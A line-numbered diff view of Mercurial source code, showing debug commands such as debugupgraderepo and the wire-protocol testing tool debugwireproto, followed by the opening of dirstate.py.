3438 3439 except ValueError:
3439 3440 raise error.Abort(_(b'malformed keyword definition: %s') % d)
3440 3441
3441 3442 if ui.verbose:
3442 3443 aliases = ui.configitems(b'templatealias')
3443 3444 tree = templater.parse(tmpl)
3444 3445 ui.note(templater.prettyformat(tree), b'\n')
3445 3446 newtree = templater.expandaliases(tree, aliases)
3446 3447 if newtree != tree:
3447 3448 ui.notenoi18n(
3448 3449 b"* expanded:\n", templater.prettyformat(newtree), b'\n'
3449 3450 )
3450 3451
3451 3452 if revs is None:
3452 3453 tres = formatter.templateresources(ui, repo)
3453 3454 t = formatter.maketemplater(ui, tmpl, resources=tres)
3454 3455 if ui.verbose:
3455 3456 kwds, funcs = t.symbolsuseddefault()
3456 3457 ui.writenoi18n(b"* keywords: %s\n" % b', '.join(sorted(kwds)))
3457 3458 ui.writenoi18n(b"* functions: %s\n" % b', '.join(sorted(funcs)))
3458 3459 ui.write(t.renderdefault(props))
3459 3460 else:
3460 3461 displayer = logcmdutil.maketemplater(ui, repo, tmpl)
3461 3462 if ui.verbose:
3462 3463 kwds, funcs = displayer.t.symbolsuseddefault()
3463 3464 ui.writenoi18n(b"* keywords: %s\n" % b', '.join(sorted(kwds)))
3464 3465 ui.writenoi18n(b"* functions: %s\n" % b', '.join(sorted(funcs)))
3465 3466 for r in revs:
3466 3467 displayer.show(repo[r], **pycompat.strkwargs(props))
3467 3468 displayer.close()
3468 3469
3469 3470
3470 3471 @command(
3471 3472 b'debuguigetpass',
3472 3473 [(b'p', b'prompt', b'', _(b'prompt text'), _(b'TEXT')),],
3473 3474 _(b'[-p TEXT]'),
3474 3475 norepo=True,
3475 3476 )
3476 3477 def debuguigetpass(ui, prompt=b''):
3477 3478 """show prompt to type password"""
3478 3479 r = ui.getpass(prompt)
3479 3480 ui.writenoi18n(b'respose: %s\n' % r)
3480 3481
3481 3482
3482 3483 @command(
3483 3484 b'debuguiprompt',
3484 3485 [(b'p', b'prompt', b'', _(b'prompt text'), _(b'TEXT')),],
3485 3486 _(b'[-p TEXT]'),
3486 3487 norepo=True,
3487 3488 )
3488 3489 def debuguiprompt(ui, prompt=b''):
3489 3490 """show plain prompt"""
3490 3491 r = ui.prompt(prompt)
3491 3492 ui.writenoi18n(b'response: %s\n' % r)
3492 3493
3493 3494
3494 3495 @command(b'debugupdatecaches', [])
3495 3496 def debugupdatecaches(ui, repo, *pats, **opts):
3496 3497 """warm all known caches in the repository"""
3497 3498 with repo.wlock(), repo.lock():
3498 3499 repo.updatecaches(full=True)
3499 3500
3500 3501
3501 3502 @command(
3502 3503 b'debugupgraderepo',
3503 3504 [
3504 3505 (
3505 3506 b'o',
3506 3507 b'optimize',
3507 3508 [],
3508 3509 _(b'extra optimization to perform'),
3509 3510 _(b'NAME'),
3510 3511 ),
3511 3512 (b'', b'run', False, _(b'performs an upgrade')),
3512 3513 (b'', b'backup', True, _(b'keep the old repository content around')),
3513 3514 (b'', b'changelog', None, _(b'select the changelog for upgrade')),
3514 3515 (b'', b'manifest', None, _(b'select the manifest for upgrade')),
3515 3516 ],
3516 3517 )
3517 3518 def debugupgraderepo(ui, repo, run=False, optimize=None, backup=True, **opts):
3518 3519 """upgrade a repository to use different features
3519 3520
3520 3521 If no arguments are specified, the repository is evaluated for upgrade
3521 3522 and a list of problems and potential optimizations is printed.
3522 3523
3523 3524 With ``--run``, a repository upgrade is performed. Behavior of the upgrade
3524 3525 can be influenced via additional arguments. More details will be provided
3525 3526 by the command output when run without ``--run``.
3526 3527
3527 3528 During the upgrade, the repository will be locked and no writes will be
3528 3529 allowed.
3529 3530
3530 3531 At the end of the upgrade, the repository may not be readable while new
3531 3532 repository data is swapped in. This window will be as long as it takes to
3532 3533 rename some directories inside the ``.hg`` directory. On most machines, this
3533 3534 should complete almost instantaneously and the chances of a consumer being
3534 3535 unable to access the repository should be low.
3535 3536
3536 3537 By default, all revlog will be upgraded. You can restrict this using flag
3537 3538 such as `--manifest`:
3538 3539
3539 3540 * `--manifest`: only optimize the manifest
3540 3541 * `--no-manifest`: optimize all revlog but the manifest
3541 3542 * `--changelog`: optimize the changelog only
3542 3543 * `--no-changelog --no-manifest`: optimize filelogs only
3543 3544 """
3544 3545 return upgrade.upgraderepo(
3545 3546 ui, repo, run=run, optimize=optimize, backup=backup, **opts
3546 3547 )
3547 3548
3548 3549
3549 3550 @command(
3550 3551 b'debugwalk', cmdutil.walkopts, _(b'[OPTION]... [FILE]...'), inferrepo=True
3551 3552 )
3552 3553 def debugwalk(ui, repo, *pats, **opts):
3553 3554 """show how files match on given patterns"""
3554 3555 opts = pycompat.byteskwargs(opts)
3555 3556 m = scmutil.match(repo[None], pats, opts)
3556 3557 if ui.verbose:
3557 3558 ui.writenoi18n(b'* matcher:\n', stringutil.prettyrepr(m), b'\n')
3558 3559 items = list(repo[None].walk(m))
3559 3560 if not items:
3560 3561 return
3561 3562 f = lambda fn: fn
3562 3563 if ui.configbool(b'ui', b'slash') and pycompat.ossep != b'/':
3563 3564 f = lambda fn: util.normpath(fn)
3564 3565 fmt = b'f %%-%ds %%-%ds %%s' % (
3565 3566 max([len(abs) for abs in items]),
3566 3567 max([len(repo.pathto(abs)) for abs in items]),
3567 3568 )
3568 3569 for abs in items:
3569 3570 line = fmt % (
3570 3571 abs,
3571 3572 f(repo.pathto(abs)),
3572 3573 m.exact(abs) and b'exact' or b'',
3573 3574 )
3574 3575 ui.write(b"%s\n" % line.rstrip())
3575 3576
3576 3577
3577 3578 @command(b'debugwhyunstable', [], _(b'REV'))
3578 3579 def debugwhyunstable(ui, repo, rev):
3579 3580 """explain instabilities of a changeset"""
3580 3581 for entry in obsutil.whyunstable(repo, scmutil.revsingle(repo, rev)):
3581 3582 dnodes = b''
3582 3583 if entry.get(b'divergentnodes'):
3583 3584 dnodes = (
3584 3585 b' '.join(
3585 3586 b'%s (%s)' % (ctx.hex(), ctx.phasestr())
3586 3587 for ctx in entry[b'divergentnodes']
3587 3588 )
3588 3589 + b' '
3589 3590 )
3590 3591 ui.write(
3591 3592 b'%s: %s%s %s\n'
3592 3593 % (entry[b'instability'], dnodes, entry[b'reason'], entry[b'node'])
3593 3594 )
3594 3595
3595 3596
3596 3597 @command(
3597 3598 b'debugwireargs',
3598 3599 [
3599 3600 (b'', b'three', b'', b'three'),
3600 3601 (b'', b'four', b'', b'four'),
3601 3602 (b'', b'five', b'', b'five'),
3602 3603 ]
3603 3604 + cmdutil.remoteopts,
3604 3605 _(b'REPO [OPTIONS]... [ONE [TWO]]'),
3605 3606 norepo=True,
3606 3607 )
3607 3608 def debugwireargs(ui, repopath, *vals, **opts):
3608 3609 opts = pycompat.byteskwargs(opts)
3609 3610 repo = hg.peer(ui, opts, repopath)
3610 3611 for opt in cmdutil.remoteopts:
3611 3612 del opts[opt[1]]
3612 3613 args = {}
3613 3614 for k, v in pycompat.iteritems(opts):
3614 3615 if v:
3615 3616 args[k] = v
3616 3617 args = pycompat.strkwargs(args)
3617 3618 # run twice to check that we don't mess up the stream for the next command
3618 3619 res1 = repo.debugwireargs(*vals, **args)
3619 3620 res2 = repo.debugwireargs(*vals, **args)
3620 3621 ui.write(b"%s\n" % res1)
3621 3622 if res1 != res2:
3622 3623 ui.warn(b"%s\n" % res2)
3623 3624
3624 3625
3625 3626 def _parsewirelangblocks(fh):
3626 3627 activeaction = None
3627 3628 blocklines = []
3628 3629 lastindent = 0
3629 3630
3630 3631 for line in fh:
3631 3632 line = line.rstrip()
3632 3633 if not line:
3633 3634 continue
3634 3635
3635 3636 if line.startswith(b'#'):
3636 3637 continue
3637 3638
3638 3639 if not line.startswith(b' '):
3639 3640 # New block. Flush previous one.
3640 3641 if activeaction:
3641 3642 yield activeaction, blocklines
3642 3643
3643 3644 activeaction = line
3644 3645 blocklines = []
3645 3646 lastindent = 0
3646 3647 continue
3647 3648
3648 3649 # Else we start with an indent.
3649 3650
3650 3651 if not activeaction:
3651 3652 raise error.Abort(_(b'indented line outside of block'))
3652 3653
3653 3654 indent = len(line) - len(line.lstrip())
3654 3655
3655 3656 # If this line is indented more than the last line, concatenate it.
3656 3657 if indent > lastindent and blocklines:
3657 3658 blocklines[-1] += line.lstrip()
3658 3659 else:
3659 3660 blocklines.append(line)
3660 3661 lastindent = indent
3661 3662
3662 3663 # Flush last block.
3663 3664 if activeaction:
3664 3665 yield activeaction, blocklines
3665 3666
3666 3667
3667 3668 @command(
3668 3669 b'debugwireproto',
3669 3670 [
3670 3671 (b'', b'localssh', False, _(b'start an SSH server for this repo')),
3671 3672 (b'', b'peer', b'', _(b'construct a specific version of the peer')),
3672 3673 (
3673 3674 b'',
3674 3675 b'noreadstderr',
3675 3676 False,
3676 3677 _(b'do not read from stderr of the remote'),
3677 3678 ),
3678 3679 (
3679 3680 b'',
3680 3681 b'nologhandshake',
3681 3682 False,
3682 3683 _(b'do not log I/O related to the peer handshake'),
3683 3684 ),
3684 3685 ]
3685 3686 + cmdutil.remoteopts,
3686 3687 _(b'[PATH]'),
3687 3688 optionalrepo=True,
3688 3689 )
3689 3690 def debugwireproto(ui, repo, path=None, **opts):
3690 3691 """send wire protocol commands to a server
3691 3692
3692 3693 This command can be used to issue wire protocol commands to remote
3693 3694 peers and to debug the raw data being exchanged.
3694 3695
3695 3696 ``--localssh`` will start an SSH server against the current repository
3696 3697 and connect to that. By default, the connection will perform a handshake
3697 3698 and establish an appropriate peer instance.
3698 3699
3699 3700 ``--peer`` can be used to bypass the handshake protocol and construct a
3700 3701 peer instance using the specified class type. Valid values are ``raw``,
3701 3702 ``http2``, ``ssh1``, and ``ssh2``. ``raw`` instances only allow sending
3702 3703 raw data payloads and don't support higher-level command actions.
3703 3704
3704 3705 ``--noreadstderr`` can be used to disable automatic reading from stderr
3705 3706 of the peer (for SSH connections only). Disabling automatic reading of
3706 3707 stderr is useful for making output more deterministic.
3707 3708
3708 3709 Commands are issued via a mini language which is specified via stdin.
3709 3710 The language consists of individual actions to perform. An action is
3710 3711 defined by a block. A block is defined as a line with no leading
3711 3712 space followed by 0 or more lines with leading space. Blocks are
3712 3713 effectively a high-level command with additional metadata.
3713 3714
3714 3715 Lines beginning with ``#`` are ignored.
3715 3716
3716 3717 The following sections denote available actions.
3717 3718
3718 3719 raw
3719 3720 ---
3720 3721
3721 3722 Send raw data to the server.
3722 3723
3723 3724 The block payload contains the raw data to send as one atomic send
3724 3725 operation. The data may not actually be delivered in a single system
3725 3726 call: it depends on the abilities of the transport being used.
3726 3727
3727 3728 Each line in the block is de-indented and concatenated. Then, that
3728 3729 value is evaluated as a Python b'' literal. This allows the use of
3729 3730 backslash escaping, etc.
3730 3731
3731 3732 raw+
3732 3733 ----
3733 3734
3734 3735 Behaves like ``raw`` except flushes output afterwards.
3735 3736
3736 3737 command <X>
3737 3738 -----------
3738 3739
3739 3740 Send a request to run a named command, whose name follows the ``command``
3740 3741 string.
3741 3742
3742 3743 Arguments to the command are defined as lines in this block. The format of
3743 3744 each line is ``<key> <value>``. e.g.::
3744 3745
3745 3746 command listkeys
3746 3747 namespace bookmarks
3747 3748
3748 3749 If the value begins with ``eval:``, it will be interpreted as a Python
3749 3750 literal expression. Otherwise values are interpreted as Python b'' literals.
3750 3751 This allows sending complex types and encoding special byte sequences via
3751 3752 backslash escaping.
3752 3753
3753 3754 The following arguments have special meaning:
3754 3755
3755 3756 ``PUSHFILE``
3756 3757 When defined, the *push* mechanism of the peer will be used instead
3757 3758 of the static request-response mechanism and the content of the
3758 3759 file specified in the value of this argument will be sent as the
3759 3760 command payload.
3760 3761
3761 3762 This can be used to submit a local bundle file to the remote.
3762 3763
3763 3764 batchbegin
3764 3765 ----------
3765 3766
3766 3767 Instruct the peer to begin a batched send.
3767 3768
3768 3769 All ``command`` blocks are queued for execution until the next
3769 3770 ``batchsubmit`` block.
3770 3771
3771 3772 batchsubmit
3772 3773 -----------
3773 3774
3774 3775 Submit previously queued ``command`` blocks as a batch request.
3775 3776
3776 3777 This action MUST be paired with a ``batchbegin`` action.
3777 3778
3778 3779 httprequest <method> <path>
3779 3780 ---------------------------
3780 3781
3781 3782 (HTTP peer only)
3782 3783
3783 3784 Send an HTTP request to the peer.
3784 3785
3785 3786 The HTTP request line follows the ``httprequest`` action. e.g. ``GET /foo``.
3786 3787
3787 3788 Arguments of the form ``<key>: <value>`` are interpreted as HTTP request
3788 3789 headers to add to the request. e.g. ``Accept: foo``.
3789 3790
3790 3791 The following arguments are special:
3791 3792
3792 3793 ``BODYFILE``
3793 3794 The content of the file defined as the value to this argument will be
3794 3795 transferred verbatim as the HTTP request body.
3795 3796
3796 3797 ``frame <type> <flags> <payload>``
3797 3798 Send a unified protocol frame as part of the request body.
3798 3799
3799 3800 All frames will be collected and sent as the body to the HTTP
3800 3801 request.
3801 3802
3802 3803 close
3803 3804 -----
3804 3805
3805 3806 Close the connection to the server.
3806 3807
3807 3808 flush
3808 3809 -----
3809 3810
3810 3811 Flush data written to the server.
3811 3812
3812 3813 readavailable
3813 3814 -------------
3814 3815
3815 3816 Close the write end of the connection and read all available data from
3816 3817 the server.
3817 3818
3818 3819 If the connection to the server encompasses multiple pipes, we poll both
3819 3820 pipes and read available data.
3820 3821
3821 3822 readline
3822 3823 --------
3823 3824
3824 3825 Read a line of output from the server. If there are multiple output
3825 3826 pipes, reads only the main pipe.
3826 3827
3827 3828 ereadline
3828 3829 ---------
3829 3830
3830 3831 Like ``readline``, but read from the stderr pipe, if available.
3831 3832
3832 3833 read <X>
3833 3834 --------
3834 3835
3835 3836 ``read()`` N bytes from the server's main output pipe.
3836 3837
3837 3838 eread <X>
3838 3839 ---------
3839 3840
3840 3841 ``read()`` N bytes from the server's stderr pipe, if available.
3841 3842
3842 3843 Specifying Unified Frame-Based Protocol Frames
3843 3844 ----------------------------------------------
3844 3845
3845 3846 It is possible to emit a *Unified Frame-Based Protocol* by using special
3846 3847 syntax.
3847 3848
3848 3849 A frame is composed as a type, flags, and payload. These can be parsed
3849 3850 from a string of the form:
3850 3851
3851 3852 <request-id> <stream-id> <stream-flags> <type> <flags> <payload>
3852 3853
3853 3854 ``request-id`` and ``stream-id`` are integers defining the request and
3854 3855 stream identifiers.
3855 3856
3856 3857 ``type`` can be an integer value for the frame type or the string name
3857 3858 of the type. The strings are defined in ``wireprotoframing.py``. e.g.
3858 3859 ``command-name``.
3859 3860
3860 3861 ``stream-flags`` and ``flags`` are a ``|`` delimited list of flag
3861 3862 components. Each component (and there can be just one) can be an integer
3862 3863 or a flag name for stream flags or frame flags, respectively. Values are
3863 3864 resolved to integers and then bitwise OR'd together.
3864 3865
3865 3866 ``payload`` represents the raw frame payload. If it begins with
3866 3867 ``cbor:``, the following string is evaluated as Python code and the
3867 3868 resulting object is fed into a CBOR encoder. Otherwise it is interpreted
3868 3869 as a Python byte string literal.
3869 3870 """
3870 3871 opts = pycompat.byteskwargs(opts)
3871 3872
3872 3873 if opts[b'localssh'] and not repo:
3873 3874 raise error.Abort(_(b'--localssh requires a repository'))
3874 3875
3875 3876 if opts[b'peer'] and opts[b'peer'] not in (
3876 3877 b'raw',
3877 3878 b'http2',
3878 3879 b'ssh1',
3879 3880 b'ssh2',
3880 3881 ):
3881 3882 raise error.Abort(
3882 3883 _(b'invalid value for --peer'),
3883 3884 hint=_(b'valid values are "raw", "ssh1", and "ssh2"'),
3884 3885 )
3885 3886
3886 3887 if path and opts[b'localssh']:
3887 3888 raise error.Abort(_(b'cannot specify --localssh with an explicit path'))
3888 3889
3889 3890 if ui.interactive():
3890 3891 ui.write(_(b'(waiting for commands on stdin)\n'))
3891 3892
3892 3893 blocks = list(_parsewirelangblocks(ui.fin))
3893 3894
3894 3895 proc = None
3895 3896 stdin = None
3896 3897 stdout = None
3897 3898 stderr = None
3898 3899 opener = None
3899 3900
3900 3901 if opts[b'localssh']:
3901 3902 # We start the SSH server in its own process so there is process
3902 3903 # separation. This prevents a whole class of potential bugs around
3903 3904 # shared state from interfering with server operation.
3904 3905 args = procutil.hgcmd() + [
3905 3906 b'-R',
3906 3907 repo.root,
3907 3908 b'debugserve',
3908 3909 b'--sshstdio',
3909 3910 ]
3910 3911 proc = subprocess.Popen(
3911 3912 pycompat.rapply(procutil.tonativestr, args),
3912 3913 stdin=subprocess.PIPE,
3913 3914 stdout=subprocess.PIPE,
3914 3915 stderr=subprocess.PIPE,
3915 3916 bufsize=0,
3916 3917 )
3917 3918
3918 3919 stdin = proc.stdin
3919 3920 stdout = proc.stdout
3920 3921 stderr = proc.stderr
3921 3922
3922 3923 # We turn the pipes into observers so we can log I/O.
3923 3924 if ui.verbose or opts[b'peer'] == b'raw':
3924 3925 stdin = util.makeloggingfileobject(
3925 3926 ui, proc.stdin, b'i', logdata=True
3926 3927 )
3927 3928 stdout = util.makeloggingfileobject(
3928 3929 ui, proc.stdout, b'o', logdata=True
3929 3930 )
3930 3931 stderr = util.makeloggingfileobject(
3931 3932 ui, proc.stderr, b'e', logdata=True
3932 3933 )
3933 3934
3934 3935 # --localssh also implies the peer connection settings.
3935 3936
3936 3937 url = b'ssh://localserver'
3937 3938 autoreadstderr = not opts[b'noreadstderr']
3938 3939
3939 3940 if opts[b'peer'] == b'ssh1':
3940 3941 ui.write(_(b'creating ssh peer for wire protocol version 1\n'))
3941 3942 peer = sshpeer.sshv1peer(
3942 3943 ui,
3943 3944 url,
3944 3945 proc,
3945 3946 stdin,
3946 3947 stdout,
3947 3948 stderr,
3948 3949 None,
3949 3950 autoreadstderr=autoreadstderr,
3950 3951 )
3951 3952 elif opts[b'peer'] == b'ssh2':
3952 3953 ui.write(_(b'creating ssh peer for wire protocol version 2\n'))
3953 3954 peer = sshpeer.sshv2peer(
3954 3955 ui,
3955 3956 url,
3956 3957 proc,
3957 3958 stdin,
3958 3959 stdout,
3959 3960 stderr,
3960 3961 None,
3961 3962 autoreadstderr=autoreadstderr,
3962 3963 )
3963 3964 elif opts[b'peer'] == b'raw':
3964 3965 ui.write(_(b'using raw connection to peer\n'))
3965 3966 peer = None
3966 3967 else:
3967 3968 ui.write(_(b'creating ssh peer from handshake results\n'))
3968 3969 peer = sshpeer.makepeer(
3969 3970 ui,
3970 3971 url,
3971 3972 proc,
3972 3973 stdin,
3973 3974 stdout,
3974 3975 stderr,
3975 3976 autoreadstderr=autoreadstderr,
3976 3977 )
3977 3978
3978 3979 elif path:
3979 3980 # We bypass hg.peer() so we can proxy the sockets.
3980 3981 # TODO consider not doing this because we skip
3981 3982 # ``hg.wirepeersetupfuncs`` and potentially other useful functionality.
3982 3983 u = util.url(path)
3983 3984 if u.scheme != b'http':
3984 3985 raise error.Abort(_(b'only http:// paths are currently supported'))
3985 3986
3986 3987 url, authinfo = u.authinfo()
3987 3988 openerargs = {
3988 3989 'useragent': b'Mercurial debugwireproto',
3989 3990 }
3990 3991
3991 3992 # Turn pipes/sockets into observers so we can log I/O.
3992 3993 if ui.verbose:
3993 3994 openerargs.update(
3994 3995 {
3995 3996 'loggingfh': ui,
3996 3997 'loggingname': b's',
3997 3998 'loggingopts': {'logdata': True, 'logdataapis': False,},
3998 3999 }
3999 4000 )
4000 4001
4001 4002 if ui.debugflag:
4002 4003 openerargs['loggingopts']['logdataapis'] = True
4003 4004
4004 4005 # Don't send default headers when in raw mode. This allows us to
4005 4006 # bypass most of the behavior of our URL handling code so we can
4006 4007 # have near complete control over what's sent on the wire.
4007 4008 if opts[b'peer'] == b'raw':
4008 4009 openerargs['sendaccept'] = False
4009 4010
4010 4011 opener = urlmod.opener(ui, authinfo, **openerargs)
4011 4012
4012 4013 if opts[b'peer'] == b'http2':
4013 4014 ui.write(_(b'creating http peer for wire protocol version 2\n'))
4014 4015 # We go through makepeer() because we need an API descriptor for
4015 4016 # the peer instance to be useful.
4016 4017 with ui.configoverride(
4017 4018 {(b'experimental', b'httppeer.advertise-v2'): True}
4018 4019 ):
4019 4020 if opts[b'nologhandshake']:
4020 4021 ui.pushbuffer()
4021 4022
4022 4023 peer = httppeer.makepeer(ui, path, opener=opener)
4023 4024
4024 4025 if opts[b'nologhandshake']:
4025 4026 ui.popbuffer()
4026 4027
4027 4028 if not isinstance(peer, httppeer.httpv2peer):
4028 4029 raise error.Abort(
4029 4030 _(
4030 4031 b'could not instantiate HTTP peer for '
4031 4032 b'wire protocol version 2'
4032 4033 ),
4033 4034 hint=_(
4034 4035 b'the server may not have the feature '
4035 4036 b'enabled or is not allowing this '
4036 4037 b'client version'
4037 4038 ),
4038 4039 )
4039 4040
4040 4041 elif opts[b'peer'] == b'raw':
4041 4042 ui.write(_(b'using raw connection to peer\n'))
4042 4043 peer = None
4043 4044 elif opts[b'peer']:
4044 4045 raise error.Abort(
4045 4046 _(b'--peer %s not supported with HTTP peers') % opts[b'peer']
4046 4047 )
4047 4048 else:
4048 4049 peer = httppeer.makepeer(ui, path, opener=opener)
4049 4050
4050 4051 # We /could/ populate stdin/stdout with sock.makefile()...
4051 4052 else:
4052 4053 raise error.Abort(_(b'unsupported connection configuration'))
4053 4054
4054 4055 batchedcommands = None
4055 4056
4056 4057 # Now perform actions based on the parsed wire language instructions.
4057 4058 for action, lines in blocks:
4058 4059 if action in (b'raw', b'raw+'):
4059 4060 if not stdin:
4060 4061 raise error.Abort(_(b'cannot call raw/raw+ on this peer'))
4061 4062
4062 4063 # Concatenate the data together.
4063 4064 data = b''.join(l.lstrip() for l in lines)
4064 4065 data = stringutil.unescapestr(data)
4065 4066 stdin.write(data)
4066 4067
4067 4068 if action == b'raw+':
4068 4069 stdin.flush()
4069 4070 elif action == b'flush':
4070 4071 if not stdin:
4071 4072 raise error.Abort(_(b'cannot call flush on this peer'))
4072 4073 stdin.flush()
4073 4074 elif action.startswith(b'command'):
4074 4075 if not peer:
4075 4076 raise error.Abort(
4076 4077 _(
4077 4078 b'cannot send commands unless peer instance '
4078 4079 b'is available'
4079 4080 )
4080 4081 )
4081 4082
4082 4083 command = action.split(b' ', 1)[1]
4083 4084
4084 4085 args = {}
4085 4086 for line in lines:
4086 4087 # We need to allow empty values.
4087 4088 fields = line.lstrip().split(b' ', 1)
4088 4089 if len(fields) == 1:
4089 4090 key = fields[0]
4090 4091 value = b''
4091 4092 else:
4092 4093 key, value = fields
4093 4094
4094 4095 if value.startswith(b'eval:'):
4095 4096 value = stringutil.evalpythonliteral(value[5:])
4096 4097 else:
4097 4098 value = stringutil.unescapestr(value)
4098 4099
4099 4100 args[key] = value
4100 4101
4101 4102 if batchedcommands is not None:
4102 4103 batchedcommands.append((command, args))
4103 4104 continue
4104 4105
4105 4106 ui.status(_(b'sending %s command\n') % command)
4106 4107
4107 4108 if b'PUSHFILE' in args:
4108 4109 with open(args[b'PUSHFILE'], 'rb') as fh:
4109 4110 del args[b'PUSHFILE']
4110 4111 res, output = peer._callpush(
4111 4112 command, fh, **pycompat.strkwargs(args)
4112 4113 )
4113 4114 ui.status(_(b'result: %s\n') % stringutil.escapestr(res))
4114 4115 ui.status(
4115 4116 _(b'remote output: %s\n') % stringutil.escapestr(output)
4116 4117 )
4117 4118 else:
4118 4119 with peer.commandexecutor() as e:
4119 4120 res = e.callcommand(command, args).result()
4120 4121
4121 4122 if isinstance(res, wireprotov2peer.commandresponse):
4122 4123 val = res.objects()
4123 4124 ui.status(
4124 4125 _(b'response: %s\n')
4125 4126 % stringutil.pprint(val, bprefix=True, indent=2)
4126 4127 )
4127 4128 else:
4128 4129 ui.status(
4129 4130 _(b'response: %s\n')
4130 4131 % stringutil.pprint(res, bprefix=True, indent=2)
4131 4132 )
4132 4133
4133 4134 elif action == b'batchbegin':
4134 4135 if batchedcommands is not None:
4135 4136 raise error.Abort(_(b'nested batchbegin not allowed'))
4136 4137
4137 4138 batchedcommands = []
4138 4139 elif action == b'batchsubmit':
4139 4140 # There is a batching API we could go through. But it would be
4140 4141 # difficult to normalize requests into function calls. It is easier
4141 4142 # to bypass this layer and normalize to commands + args.
4142 4143 ui.status(
4143 4144 _(b'sending batch with %d sub-commands\n')
4144 4145 % len(batchedcommands)
4145 4146 )
4146 4147 for i, chunk in enumerate(peer._submitbatch(batchedcommands)):
4147 4148 ui.status(
4148 4149 _(b'response #%d: %s\n') % (i, stringutil.escapestr(chunk))
4149 4150 )
4150 4151
4151 4152 batchedcommands = None
4152 4153
4153 4154 elif action.startswith(b'httprequest '):
4154 4155 if not opener:
4155 4156 raise error.Abort(
4156 4157 _(b'cannot use httprequest without an HTTP peer')
4157 4158 )
4158 4159
4159 4160 request = action.split(b' ', 2)
4160 4161 if len(request) != 3:
4161 4162 raise error.Abort(
4162 4163 _(
4163 4164 b'invalid httprequest: expected format is '
4164 4165 b'"httprequest <method> <path>'
4165 4166 )
4166 4167 )
4167 4168
4168 4169 method, httppath = request[1:]
4169 4170 headers = {}
4170 4171 body = None
4171 4172 frames = []
4172 4173 for line in lines:
4173 4174 line = line.lstrip()
4174 4175 m = re.match(b'^([a-zA-Z0-9_-]+): (.*)$', line)
4175 4176 if m:
4176 4177 # Headers need to use native strings.
4177 4178 key = pycompat.strurl(m.group(1))
4178 4179 value = pycompat.strurl(m.group(2))
4179 4180 headers[key] = value
4180 4181 continue
4181 4182
4182 4183 if line.startswith(b'BODYFILE '):
4183 4184 with open(line.split(b' ', 1), b'rb') as fh:
4184 4185 body = fh.read()
4185 4186 elif line.startswith(b'frame '):
4186 4187 frame = wireprotoframing.makeframefromhumanstring(
4187 4188 line[len(b'frame ') :]
4188 4189 )
4189 4190
4190 4191 frames.append(frame)
4191 4192 else:
4192 4193 raise error.Abort(
4193 4194 _(b'unknown argument to httprequest: %s') % line
4194 4195 )
4195 4196
4196 4197 url = path + httppath
4197 4198
4198 4199 if frames:
4199 4200 body = b''.join(bytes(f) for f in frames)
4200 4201
4201 4202 req = urlmod.urlreq.request(pycompat.strurl(url), body, headers)
4202 4203
4203 4204 # urllib.Request insists on using has_data() as a proxy for
4204 4205 # determining the request method. Override that to use our
4205 4206 # explicitly requested method.
4206 4207 req.get_method = lambda: pycompat.sysstr(method)
4207 4208
4208 4209 try:
4209 4210 res = opener.open(req)
4210 4211 body = res.read()
4211 4212 except util.urlerr.urlerror as e:
4212 4213 # read() method must be called, but only exists in Python 2
4213 4214 getattr(e, 'read', lambda: None)()
4214 4215 continue
4215 4216
4216 4217 ct = res.headers.get('Content-Type')
4217 4218 if ct == 'application/mercurial-cbor':
4218 4219 ui.write(
4219 4220 _(b'cbor> %s\n')
4220 4221 % stringutil.pprint(
4221 4222 cborutil.decodeall(body), bprefix=True, indent=2
4222 4223 )
4223 4224 )
4224 4225
4225 4226 elif action == b'close':
4226 4227 peer.close()
4227 4228 elif action == b'readavailable':
4228 4229 if not stdout or not stderr:
4229 4230 raise error.Abort(
4230 4231 _(b'readavailable not available on this peer')
4231 4232 )
4232 4233
4233 4234 stdin.close()
4234 4235 stdout.read()
4235 4236 stderr.read()
4236 4237
4237 4238 elif action == b'readline':
4238 4239 if not stdout:
4239 4240 raise error.Abort(_(b'readline not available on this peer'))
4240 4241 stdout.readline()
4241 4242 elif action == b'ereadline':
4242 4243 if not stderr:
4243 4244 raise error.Abort(_(b'ereadline not available on this peer'))
4244 4245 stderr.readline()
4245 4246 elif action.startswith(b'read '):
4246 4247 count = int(action.split(b' ', 1)[1])
4247 4248 if not stdout:
4248 4249 raise error.Abort(_(b'read not available on this peer'))
4249 4250 stdout.read(count)
4250 4251 elif action.startswith(b'eread '):
4251 4252 count = int(action.split(b' ', 1)[1])
4252 4253 if not stderr:
4253 4254 raise error.Abort(_(b'eread not available on this peer'))
4254 4255 stderr.read(count)
4255 4256 else:
4256 4257 raise error.Abort(_(b'unknown action: %s') % action)
4257 4258
4258 4259 if batchedcommands is not None:
4259 4260 raise error.Abort(_(b'unclosed "batchbegin" request'))
4260 4261
4261 4262 if peer:
4262 4263 peer.close()
4263 4264
4264 4265 if proc:
4265 4266 proc.kill()
@@ -1,1843 +1,1843 b''
1 1 # dirstate.py - working directory tracking for mercurial
2 2 #
3 3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import collections
11 11 import contextlib
12 12 import errno
13 13 import os
14 14 import stat
15 15
16 16 from .i18n import _
17 17 from .node import nullid
18 18 from .pycompat import delattr
19 19
20 20 from hgdemandimport import tracing
21 21
22 22 from . import (
23 23 encoding,
24 24 error,
25 25 match as matchmod,
26 26 pathutil,
27 27 policy,
28 28 pycompat,
29 29 scmutil,
30 30 txnutil,
31 31 util,
32 32 )
33 33
34 34 from .interfaces import (
35 35 dirstate as intdirstate,
36 36 util as interfaceutil,
37 37 )
38 38
39 39 parsers = policy.importmod('parsers')
40 40 rustmod = policy.importrust('dirstate')
41 41
42 42 propertycache = util.propertycache
43 43 filecache = scmutil.filecache
44 44 _rangemask = 0x7FFFFFFF
45 45
46 46 dirstatetuple = parsers.dirstatetuple
47 47
48 48
49 49 class repocache(filecache):
50 50 """filecache for files in .hg/"""
51 51
52 52 def join(self, obj, fname):
53 53 return obj._opener.join(fname)
54 54
55 55
56 56 class rootcache(filecache):
57 57 """filecache for files in the repository root"""
58 58
59 59 def join(self, obj, fname):
60 60 return obj._join(fname)
61 61
62 62
63 63 def _getfsnow(vfs):
64 64 '''Get "now" timestamp on filesystem'''
65 65 tmpfd, tmpname = vfs.mkstemp()
66 66 try:
67 67 return os.fstat(tmpfd)[stat.ST_MTIME]
68 68 finally:
69 69 os.close(tmpfd)
70 70 vfs.unlink(tmpname)
71 71
72 72
73 73 @interfaceutil.implementer(intdirstate.idirstate)
74 74 class dirstate(object):
75 75 def __init__(self, opener, ui, root, validate, sparsematchfn):
76 76 '''Create a new dirstate object.
77 77
